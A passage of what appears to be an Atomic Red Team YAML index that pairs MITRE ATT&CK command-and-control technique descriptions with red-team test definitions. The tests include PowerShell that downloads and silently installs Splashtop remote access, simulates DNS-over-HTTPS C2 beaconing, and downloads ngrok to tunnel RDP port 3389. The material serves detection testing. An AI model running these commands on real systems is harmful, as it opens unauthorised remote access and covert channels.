      - description: Splashtop Streamer must be installed in the location
        prereq_command: 'if (Test-Path "C:\Program Files (x86)\Splashtop\Splashtop
          Remote\Server\#{srserver_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          Write-Host Downloading Splashtop Streamer
          New-Item -Type Directory "C:\Temp\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.splashtop.com/win/Splashtop_Streamer_Win_INSTALLER_v3.6.4.1.exe" -OutFile  "C:\Temp\ExternalPayloads\Splashtop.exe"
          Write-Host Installing Splashtop Streamer
          Start-Process "c:\Temp\ExternalPayloads\Splashtop.exe" -Wait -ArgumentList "/s"
      executor:
        command: Start-Process -FilePath "C:Program Files (x86)\Splashtop\Splashtop
          Remote\Server\#{srserver_exe}"
        name: powershell
        elevation_required: true
  T1659:
    technique:
      modified: '2023-10-01T02:28:45.147Z'
      name: Content Injection
      description: |-
        Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)

        Adversaries may inject content to victim systems in various ways, including:

        * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)
        * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)

        Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with "lawful interception."(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Process: Process Creation'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c
      created: '2023-09-01T21:03:13.406Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1659
        external_id: T1659
      - source_name: EFF China GitHub Attack
        description: Budington, B. (2015, April 2). China Uses Unencrypted Websites
          to Hijack Browsers in GitHub Attack. Retrieved September 1, 2023.
        url: https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack
      - source_name: ESET MoustachedBouncer
        description: 'Faou, M. (2023, August 10). MoustachedBouncer: Espionage against
          foreign diplomats in Belarus. Retrieved September 1, 2023.'
        url: https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/
      - source_name: Kaspersky Encyclopedia MiTM
        description: Kaspersky IT Encyclopedia. (n.d.). Man-in-the-middle attack.
          Retrieved September 1, 2023.
        url: https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/
      - source_name: Kaspersky ManOnTheSide
        description: Starikova, A. (2023, February 14). Man-on-the-side – peculiar
          attack. Retrieved September 1, 2023.
        url: https://usa.kaspersky.com/blog/man-on-the-side/27854/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1205:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Traffic Signaling
      description: |-
        Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

        Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

        The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

        On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.

        Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: |-
        Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.

        The Wake-on-LAN magic packet consists of 6 bytes of <code>FF</code> followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '2.4'
      x_mitre_contributors:
      - Tony Lee
      - Josh Day, Gigamon
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_defense_bypassed:
      - Defensive network service scanning
      type: attack-pattern
      id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1205
        external_id: T1205
      - source_name: Bleeping Computer - Ryuk WoL
        description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan
          To Encrypt Offline Devices. Retrieved February 11, 2021.
        url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
      - source_name: AMD Magic Packet
        description: AMD. (1995, November 1). Magic Packet Technical White Paper.
          Retrieved February 17, 2021.
        url: https://www.amd.com/system/files/TechDocs/20213.pdf
      - source_name: Mandiant - Synful Knock
        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
        url: https://www.mandiant.com/resources/synful-knock-acis
      - source_name: Cisco Synful Knock Evolution
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
      - source_name: Hartrell cd00r 2002
        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
          backdoor. Retrieved October 13, 2018.'
        url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
      - source_name: Cisco Blog Legacy Device Attacks
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
      - source_name: GitLab WakeOnLAN
        description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February
          17, 2021.
        url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1572:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b
      type: attack-pattern
      created: '2020-03-15T16:03:39.082Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1572
        url: https://attack.mitre.org/techniques/T1572
      - source_name: SSH Tunneling
        url: https://www.ssh.com/ssh/tunneling
        description: SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.
      - source_name: BleepingComp Godlua JUL19
        url: https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/
        description: Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic
          Monitoring via DNS over HTTPS. Retrieved March 15, 2020.
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      modified: '2021-04-29T14:49:39.188Z'
      name: Protocol Tunneling
      description: "Adversaries may tunnel network communications to and from a victim
        system within a separate protocol to avoid detection/network filtering and/or
        enable access to otherwise unreachable systems. Tunneling involves explicitly
        encapsulating a protocol within another. This behavior may conceal malicious
        traffic by blending in with existing traffic and/or provide an outer layer
        of encryption (similar to a VPN). Tunneling could also enable routing of network
        packets that would otherwise not reach their intended destination, such as
        SMB, RDP, or other traffic that would be filtered by network appliances or
        not routed over the Internet. \n\nThere are various means to encapsulate a
        protocol within another protocol. For example, adversaries may perform SSH
        tunneling (also known as SSH port forwarding), which involves forwarding arbitrary
        data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol
        Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by
        adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568).
        Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be
        encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua
        JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572)
        in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or
        [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to
        further conceal C2 communications and infrastructure. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: "Monitoring for systems listening and/or establishing external
        connections using ports/protocols commonly associated with tunneling, such
        as SSH (port 22). Also monitor for processes commonly associated with tunneling,
        such as Plink and the OpenSSH client. \n\nAnalyze network data for uncommon
        data flows (e.g., a client sending significantly more data than it receives
        from a server). Processes utilizing the network that do not normally have
        network communication or have never been seen before are suspicious. Analyze
        packet contents to detect application layer protocols that do not follow the
        expected protocol standards regarding syntax, structure, or any other variable
        adversaries could leverage to conceal data.(Citation: University of Birmingham
        C2)"
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1572
    atomic_tests:
    - name: DNS over HTTPS Large Query Volume
      auto_generated_guid: ae9ef4b0-d8c1-49d4-8758-06206f19af0a
      description: |
        This test simulates an infected host sending a large volume of DoH queries to a command and control server.
        The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain.
        A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
      supported_platforms:
      - windows
      input_arguments:
        doh_server:
          description: Default DoH resolver
          type: string
          default: https://8.8.8.8/resolve
        query_type:
          description: DNS query type
          type: string
          default: TXT
        subdomain:
          description: Subdomain prepended to the domain name
          type: string
          default: atomicredteam
        query_volume:
          description: Number of DNS queries to send
          type: integer
          default: 1000
        domain:
          description: Default domain to simulate against
          type: string
          default: 127.0.0.1.xip.io
      executor:
        command: 'for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random
          -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content
          }

          '
        name: powershell
    - name: DNS over HTTPS Regular Beaconing
      auto_generated_guid: 0c5f9705-c575-42a6-9609-cbbff4b2fc9b
      description: |
        This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time.
        This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
        A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
      supported_platforms:
      - windows
      input_arguments:
        doh_server:
          description: Default DoH resolver
          type: string
          default: https://8.8.8.8/resolve
        runtime:
          description: Time in minutes to run the simulation
          type: integer
          default: 30
        domain:
          description: Default domain to simulate against
          type: string
          default: 127.0.0.1.xip.io
        subdomain:
          description: Subdomain prepended to the domain name
          type: string
          default: atomicredteam
        query_type:
          description: DNS query type
          type: string
          default: TXT
        c2_interval:
          description: Seconds between C2 requests to the command and control server
          type: integer
          default: 30
        c2_jitter:
          description: Percentage of jitter to add to the C2 interval to create variance
            in the times between C2 requests
          type: integer
          default: 20
      executor:
        command: |
          Set-Location "PathToAtomicsFolder"
          .\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
        name: powershell
    - name: DNS over HTTPS Long Domain Query
      auto_generated_guid: 748a73d5-cea4-4f34-84d8-839da5baa99c
      description: |
        This test simulates an infected host returning data to a command and control server using long domain names.
        The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold.
         Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
      supported_platforms:
      - windows
      input_arguments:
        doh_server:
          description: Default DoH resolver
          type: string
          default: https://8.8.8.8/resolve
        query_type:
          description: DNS query type
          type: string
          default: TXT
        subdomain:
          description: Subdomain prepended to the domain name (should be 63 characters
            to test maximum length)
          type: string
          default: atomicredteamatomicredteamatomicredteamatomicredteamatomicredte
        domain:
          description: Default domain to simulate against
          type: string
          default: 127.0.0.1.xip.io
      executor:
        command: |
          Set-Location "PathToAtomicsFolder"
          .\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
        name: powershell
    - name: run ngrok
      auto_generated_guid: 4cdc9fc7-53fb-4894-9f0c-64836943ea60
      description: 'Download and run ngrok. Create tunnel to chosen port.

        '
      supported_platforms:
      - windows
      input_arguments:
        api_token:
          description: ngrok API
          type: string
          default: N/A
        port_num:
          description: port number for tunnel
          type: integer
          default: 3389
        download:
          description: link to download ngrok
          type: string
          default: https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip
      dependency_executor_name: powershell
      dependencies:
      - description: 'Download ngrok

          '
        prereq_command: 'if (Test-Path C:\Users\Public\ngrok) {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          New-Item -Path C:\Users\Public\ngrok -ItemType Directory | Out-Null
          Invoke-WebRequest #{download} -OutFile C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip
          Expand-Archive C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip -DestinationPath C:\Users\Public\ngrok
      executor:
        command: "C:\\Users\\Public\\ngrok\\ngrok.exe config add-authtoken #{api_token}
          | Out-Null\nStart-Job -ScriptBlock { C:\\Users\\Public\\ngrok\\ngrok.exe
          tcp #{port_num} } | Out-Null\nStart-Sleep -s 5 \nStop-Job -Name Job1 | Out-Null\n"
        cleanup_command: |
          Remove-Item C:\Users\Public\ngrok -Recurse -ErrorAction Ignore
          Remove-Item C:\%userprofile%\AppData\Local\ngrok -ErrorAction Ignore
        name: powershell
        elevation_required: true
  T1071.003:
    technique:
      modified: '2024-04-16T12:28:59.928Z'
      name: Mail Protocols
      description: "Adversaries may communicate using application layer protocols
        associated with electronic mail delivery to avoid detection/network filtering
        by blending in with existing traffic. Commands to the remote system, and often
        the results of those commands, will be embedded within the protocol traffic
        between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP
        that carry electronic mail may be very common in environments.  Packets produced
        from these protocols may have many fields and headers in which data can be
        concealed. Data could also be concealed within the email messages themselves.
        An adversary may abuse these protocols to communicate with systems under their
        control within a victim network while also mimicking normal, expected traffic.(Citation:
        FireEye APT28) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_deprecated: false
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect application
        layer protocols that do not follow the expected protocol standards regarding
        syntax, structure, or any other variable adversaries could leverage to conceal
        data.(Citation: University of Birmingham C2)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      type: attack-pattern
      id: attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b
      created: '2020-03-15T16:21:45.131Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1071/003
        external_id: T1071.003
      - source_name: FireEye APT28
        description: 'FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE
          OPERATIONS?. Retrieved August 19, 2015.'
        url: https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1092:
    technique:
      modified: '2024-01-31T03:17:42.004Z'
      name: Communication Through Removable Media
      description: 'Adversaries can perform command and control between compromised
        hosts on potentially disconnected networks using removable media to transfer
        commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both
        systems would need to be compromised, with the likelihood that an Internet-connected
        system was compromised first and the second through lateral movement by [Replication
        Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands
        and files would be relayed from the disconnected system to the Internet-connected
        system to which the adversary has direct access.'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_deprecated: false
      x_mitre_detection: Monitor file access on removable media. Detect processes
        that execute when removable media is mounted.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Drive: Drive Creation'
      - 'Drive: Drive Access'
      type: attack-pattern
      id: attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef
      created: '2017-05-31T21:31:09.379Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1092
        external_id: T1092
      - source_name: ESET Sednit USBStealer 2014
        description: Calvet, J. (2014, November 11). Sednit Espionage Group Attacking
          Air-Gapped Networks. Retrieved January 4, 2017.
        url: http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1090.002:
    technique:
      modified: '2024-04-16T12:19:08.953Z'
      name: External Proxy
      description: |-
        Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.

        External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_deprecated: false
      x_mitre_detection: 'Analyze network data for uncommon data flows, such as a
        client sending significantly more data than it receives from an external server.
        Processes utilizing the network that do not normally have network communication
        or have never been seen before are suspicious. Analyze packet contents to
        detect communications that do not follow the expected protocol behavior for
        the port that is being used.(Citation: University of Birmingham C2)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      type: attack-pattern
      id: attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3
      created: '2020-03-14T23:12:18.466Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1090/002
        external_id: T1090.002
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      - source_name: Trend Micro APT Attack Tools
        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
          of the Trade. Retrieved December 2, 2015.'
        url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1090:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Jon Sheedy
      - Heather Linn
      - Walker Johnson
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea
      type: attack-pattern
      created: '2017-05-31T21:31:08.479Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1090
        url: https://attack.mitre.org/techniques/T1090
      - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
          of the Trade. Retrieved December 2, 2015.'
        source_name: Trend Micro APT Attack Tools
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      modified: '2022-04-25T14:00:00.188Z'
      name: Proxy
      description: |-
        Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.

        Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: |-
        Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

        Consider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).
      x_mitre_version: '3.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1568:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Chris Roffe
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b
      type: attack-pattern
      created: '2020-03-10T17:28:11.747Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1568
        url: https://attack.mitre.org/techniques/T1568
      - url: http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
        description: 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast
          Number of Machines at Risk. Retrieved March 9, 2018.'
        source_name: Talos CCleanup 2017
      - url: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
        description: Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless
          WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.
        source_name: FireEye POSHSPY April 2017
      - source_name: ESET Sednit 2017 Activity
        url: https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
        description: 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent
          the Year. Retrieved February 18, 2019.'
      - source_name: Data Driven Security DGA
        url: https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
        description: 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part
          2, Feature Engineering. Retrieved February 18, 2019.'
      modified: '2022-05-11T14:00:00.188Z'
      name: Dynamic Resolution
      description: |-
        Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

        Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Detecting dynamically generated C2 can be challenging due
        to the number of different algorithms, constantly evolving malware families,
        and the increasing complexity of the algorithms. There are multiple approaches
        to detecting a pseudo-randomly generated domain name, including using frequency
        analysis, Markov chains, entropy, proportion of dictionary words, ratio of
        vowels to other characters, and more (Citation: Data Driven Security DGA).
        CDN domains may trigger these detections due to the format of their domain
        names. In addition to detecting algorithm generated domains based on the name,
        another more general approach for detecting a suspicious domain is to check
